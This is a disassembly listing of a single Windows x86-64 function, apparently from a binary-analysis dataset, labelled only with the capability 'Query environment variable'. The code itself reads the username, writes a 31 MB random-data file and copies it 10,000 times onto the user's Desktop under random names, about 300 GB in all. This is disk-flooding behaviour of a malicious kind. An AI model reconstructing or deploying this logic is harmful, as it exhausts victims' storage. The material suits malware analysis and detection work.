Function at 0x14000fc52
Capabilities:
Query environment variable

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x19d0
call fcn.1400201c0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x193c], 0x2710
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400e85f0
lea rax, str.USERNAME
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x1608], rax
lea rdx, [rbp + 0x1608]
lea rax, [rbp + 0x15e0]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__std::filesystem::__cxx11.path__char_const__std::filesystem::__cxx11::path::format_
lea rax, [rbp + 0x1610]
mov r8d, 2
lea rdx, str.C:Users_
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__10___std::filesystem::__cxx11.path__char_const_____10___std::filesystem::__cxx11::path::format_
lea rax, [rbp + 0x15b0]
lea rcx, [rbp + 0x15e0]
lea rdx, [rbp + 0x1610]
mov r8, rcx
mov rcx, rax
call method.std::filesystem::__cxx11.operator__std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x15b0]
mov rcx, rax
call method.std::filesystem.exists_std::filesystem::__cxx11::path_const_
mov ebx, eax
lea rax, [rbp + 0x15b0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x1610]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x15e0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
test bl, bl
je 0x14000fe66
lea rax, [rbp + 0x1690]
mov r8d, 2
lea rdx, str.Desktop
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__8___std::filesystem::__cxx11.path__char_const_____8___std::filesystem::__cxx11::path::format_
lea rax, str.USERNAME
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x1718], rax
lea rdx, [rbp + 0x1718]
lea rax, [rbp + 0x16f0]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__std::filesystem::__cxx11.path__char_const__std::filesystem::__cxx11::path::format_
lea rax, [rbp + 0x1720]
mov r8d, 2
lea rdx, str.C:Users_
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__10___std::filesystem::__cxx11.path__char_const_____10___std::filesystem::__cxx11::path::format_
lea rax, [rbp + 0x16c0]
lea rcx, [rbp + 0x16f0]
lea rdx, [rbp + 0x1720]
mov r8, rcx
mov rcx, rax
call method.std::filesystem::__cxx11.operator__std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x1660]
lea rcx, [rbp + 0x1690]
lea rdx, [rbp + 0x16c0]
mov r8, rcx
mov rcx, rax
call method.std::filesystem::__cxx11.operator__std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x1640]
lea rdx, [rbp + 0x1660]
mov rcx, rax
call method.std::filesystem::__cxx11::path.string___const
lea rdx, [rbp + 0x1640]
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1640]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1660]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x16c0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x1720]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x16f0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x1690]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
jmp 0x14000ff39
lea rax, [rbp + 0x17a0]
mov r8d, 2
lea rdx, str.Desktop
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__8___std::filesystem::__cxx11.path__char_const_____8___std::filesystem::__cxx11::path::format_
lea rax, str.HOME
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x1800], rax
lea rdx, [rbp + 0x1800]
lea rax, [rbp + 0x17d0]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__std::filesystem::__cxx11.path__char_const__std::filesystem::__cxx11::path::format_
lea rax, [rbp + 0x1770]
lea rcx, [rbp + 0x17a0]
lea rdx, [rbp + 0x17d0]
mov r8, rcx
mov rcx, rax
call method.std::filesystem::__cxx11.operator__std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x1750]
lea rdx, [rbp + 0x1770]
mov rcx, rax
call method.std::filesystem::__cxx11::path.string___const
lea rdx, [rbp + 0x1750]
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1750]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1770]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x17d0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x17a0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x180f]
mov qword [rbp + 0x1928], rax
nop
nop
lea rdx, [rbp + 0x180f]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.C:_base_file.dat
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x180f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov qword [rbp + 0x1930], 0x1e00000
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x20]
mov r8d, 4
mov rcx, rax
call fcn.1400d3750
lea rax, [rbp + 0x20]
add rax, 0xd8
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_bool___const
test al, al
je 0x14001006d
lea rax, [rbp + 0x200]
mov rcx, rax
call fcn.1400d0840
lea rax, [rbp + 0x200]
mov rcx, rax
call method.std::random_device.operator____
mov edx, eax
lea rax, [rbp + 0xbd0]
mov rcx, rax
call fcn.1400ddfd0
lea rax, [rbp + 0x1598]
mov r8d, 0xff
mov edx, 0
mov rcx, rax
call method.std::uniform_int_distribution_int_.uniform_int_distribution_int__int_
mov qword [rbp + 0x1948], 0
jmp 0x140010034
lea rdx, [rbp + 0xbd0]
lea rax, [rbp + 0x1598]
mov rcx, rax
call fcn.1400de190
movsx edx, al
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::ostream.put_char_
add qword [rbp + 0x1948], 1
cmp qword [rbp + 0x1948], 0x1dfffff
jbe 0x140010007
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rax, [rbp + 0x200]
mov rcx, rax
call method.std::random_device.random_device__
lea rax, [rbp + 0x200]
mov rcx, rax
call fcn.1400d0840
jmp 0x1400100a5
mov ecx, 0x10
call sym.__cxa_allocate_exception
mov rbx, rax
lea rax, str.Error.
mov rdx, rax
mov rcx, rbx
call method.std::runtime_error.runtime_error_char_const_
mov r8, qword [fcn.1400d0bb0]
lea rax, [0x140110b60]
mov rdx, rax
mov rcx, rbx
call sym.__cxa_throw
lea rax, [rbp + 0x200]
mov rcx, rax
call method.std::random_device.operator____
mov edx, eax
lea rax, [rbp + 0xbd0]
mov rcx, rax
call fcn.1400ddfd0
lea rax, [rbp + 0x15a8]
mov r8d, 0x5a
mov edx, 0x41
mov rcx, rax
call method.std::uniform_int_distribution_int_.uniform_int_distribution_int__int_
lea rax, [rbp + 0x15a0]
mov r8d, 0x39
mov edx, 0x30
mov rcx, rax
call method.std::uniform_int_distribution_int_.uniform_int_distribution_int__int_
mov dword [rbp + 0x1944], 0
jmp 0x1400102b0
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400e85f0
mov dword [rbp + 0x1940], 0
jmp 0x140010180
mov eax, dword [rbp + 0x1940]
and eax, 1
test eax, eax
jne 0x140010154
lea rdx, [rbp + 0xbd0]
lea rax, [rbp + 0x15a8]
mov rcx, rax
call fcn.1400de190
movsx edx, al
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400e90c0
jmp 0x140010179
lea rdx, [rbp + 0xbd0]
lea rax, [rbp + 0x15a0]
mov rcx, rax
call fcn.1400de190
movsx edx, al
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400e90c0
add dword [rbp + 0x1940], 1
cmp dword [rbp + 0x1940], 0x13
jle 0x140010120
lea rax, [rbp - 0x20]
lea rdx, str..dat
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x1840]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x1870]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, [rbp + 0x1810]
lea rcx, [rbp + 0x1840]
lea rdx, [rbp + 0x1870]
mov r8, rcx
mov rcx, rax
call method.std::filesystem::__cxx11.operator__std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
mov rax, rbp
lea rdx, [rbp + 0x1810]
mov rcx, rax
call method.std::filesystem::__cxx11::path.string___const
lea rax, [rbp + 0x1810]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x1870]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x1840]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
mov rdx, rbp
lea rax, [rbp + 0x18a0]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x18d0]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rdx, [rbp + 0x18a0]
lea rax, [rbp + 0x18d0]
mov rcx, rax
call method.std::filesystem.copy_std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x18d0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x18a0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
add dword [rbp + 0x1944], 1
mov eax, dword [rbp + 0x1944]
cmp eax, dword [rbp + 0x193c]
jl 0x140010108
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1900]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, [rbp + 0x1900]
mov rcx, rax
call method.std::filesystem.remove_std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x1900]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x200]
mov rcx, rax
call method.std::random_device.random_device__
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140010546
nop
add rsp, 0x19d0
pop rbx
pop rsi
pop rbp
ret